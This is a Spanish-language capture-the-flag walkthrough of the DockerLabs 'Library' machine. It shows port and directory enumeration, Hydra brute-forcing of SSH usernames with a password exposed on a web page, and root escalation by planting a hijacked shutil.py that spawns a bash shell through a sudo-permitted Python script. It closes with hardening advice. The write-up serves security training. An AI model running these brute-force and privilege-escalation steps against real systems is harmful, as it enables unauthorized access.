> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/library.md).

# Library

## Introduccion

En este laboratorio se compromete una maquina Linux de DockerLabs mediante enumeracion web, reutilizacion de credenciales y una mala configuracion de `sudo` junto con hijacking de librerias en Python.

El objetivo es obtener acceso inicial al sistema y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de puertos con Nmap sobre la maquina objetivo:

```bash
nmap -sV -T4 -p- 172.17.0.2
```

![Nmap](/files/eA8F1hIQ2xp4C8CSvlHL)

Se identifican dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu |
| 80/tcp | HTTP     | Apache httpd 2.4.58  |

Al acceder al puerto 80 se observa la pagina por defecto de Apache en Ubuntu.

![Apache default page](/files/gcKcboMDIEQig1nw33Pp)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster raiz](/files/pjvBk6kKGYhJo6o3vNgN)

Se encuentran los siguientes recursos interesantes:

| Recurso          | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.php`     | 200    | Pagina PHP accesible   |
| `/javascript/`   | 301    | Directorio descubierto |
| `/server-status` | 403    | Acceso prohibido       |

Al acceder a `/index.php` aparece una cadena expuesta en la pagina:

```
JIFGHDS87GYDFIGD
```

![Index PHP](/files/Nm4adjxSZ23qbEwjw16p)

***

## Enumeracion del directorio JavaScript

Se continua enumerando el directorio `/javascript`:

```bash
gobuster dir -u http://172.17.0.2/javascript \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster javascript](/files/fu4cyqIqV73vWhwZSXYC)

Se descubre el directorio `/javascript/jquery/`, aunque el listado directo devuelve un `403 Forbidden`.

![Forbidden jquery](/files/xTUWBdustFK8IQivavVu)

Se vuelve a enumerar dentro de `/javascript/jquery`:

```bash
gobuster dir -u http://172.17.0.2/javascript/jquery \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster jquery](/files/akVBWgg95S1yjO2tgRoq)

Se localiza el recurso `/javascript/jquery/jquery`, que muestra codigo de la libreria jQuery.

![jQuery](/files/4hhqLj2CV5FJ4IsY8aEA)

***

## Fuerza bruta SSH

La cadena encontrada en `index.php` se prueba como posible password contra el servicio SSH. Para encontrar un usuario valido se utiliza Hydra con `rockyou.txt` como lista de usuarios:

```bash
hydra -L /usr/share/wordlists/rockyou.txt \
  -p "JIFGHDS87GYDFIGD" 172.17.0.2 ssh
```

![Hydra SSH](/files/0cF8e833Bxz9rupfhEYB)

Hydra encuentra credenciales validas:

```
usuario: carlos
password: JIFGHDS87GYDFIGD
```

***

## Acceso inicial

Con las credenciales obtenidas se accede por SSH:

```bash
ssh carlos@172.17.0.2
```

![SSH carlos](/files/0rnYmXkIj7NjYZLH1xCs)

Se obtiene una shell como el usuario `carlos`.

***

## Escalada de privilegios

Se comprueban los privilegios sudo del usuario:

```bash
sudo -l
```

![sudo -l](/files/QBql9XenktEPUdgQ39RO)

El usuario `carlos` puede ejecutar como `root` y sin password:

```bash
/usr/bin/python3 /opt/script.py
```

Al revisar el script se observa que importa la libreria `shutil`:

```python
import shutil

def copiar_archivo(origen, destino):
    shutil.copy(origen, destino)
    print(f"Archivo copiado de {origen} a {destino}")

if __name__ == "__main__":
    origen = "/opt/script.py"
    destino = "/tmp/script_backup.py"
    copiar_archivo(origen, destino)
```

Tambien se comprueban los permisos del directorio `/opt`:

```bash
ls -la /opt/
```

El directorio pertenece al usuario `carlos`, por lo que se puede crear un archivo `shutil.py` en la misma ruta del script. Python priorizara ese archivo local frente a la libreria legitima, permitiendo secuestrar la importacion.

Se crea `/opt/shutil.py` con el siguiente contenido:

```python
import os
os.system("/bin/bash")
```

![shutil hijacking](/files/zUkWD82YoNBW7xoQVpg3)

***

## Acceso root

Se ejecuta el script permitido por sudo:

```bash
sudo /usr/bin/python3 /opt/script.py
```

![Root](/files/WNjRclxsxSIaoYcpFrxW)

Se obtiene una shell como `root` y se confirma con:

```bash
id
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Exposicion de una posible password en el servicio web
* Reutilizacion de credenciales para SSH
* Permisos inseguros sobre `/opt`
* Ejecucion con `sudo` de un script Python que importa librerias desde una ruta controlada por el usuario

### Puntos clave

| Fase            | Tecnica                  | Resultado                     |
| --------------- | ------------------------ | ----------------------------- |
| Reconocimiento  | Nmap                     | SSH y HTTP expuestos          |
| Enumeracion web | Gobuster                 | Descubrimiento de `index.php` |
| Credenciales    | Hydra                    | Usuario `carlos` encontrado   |
| Acceso inicial  | SSH                      | Shell como `carlos`           |
| Escalada        | Python library hijacking | Shell como `root`             |

### Recomendaciones

* No exponer credenciales ni secretos en paginas web
* Evitar la reutilizacion de passwords entre servicios
* Restringir permisos de escritura en directorios usados por scripts privilegiados
* Usar rutas absolutas y entornos controlados al ejecutar scripts con `sudo`
* Revisar cuidadosamente cualquier regla `NOPASSWD` en `sudoers`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/library.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
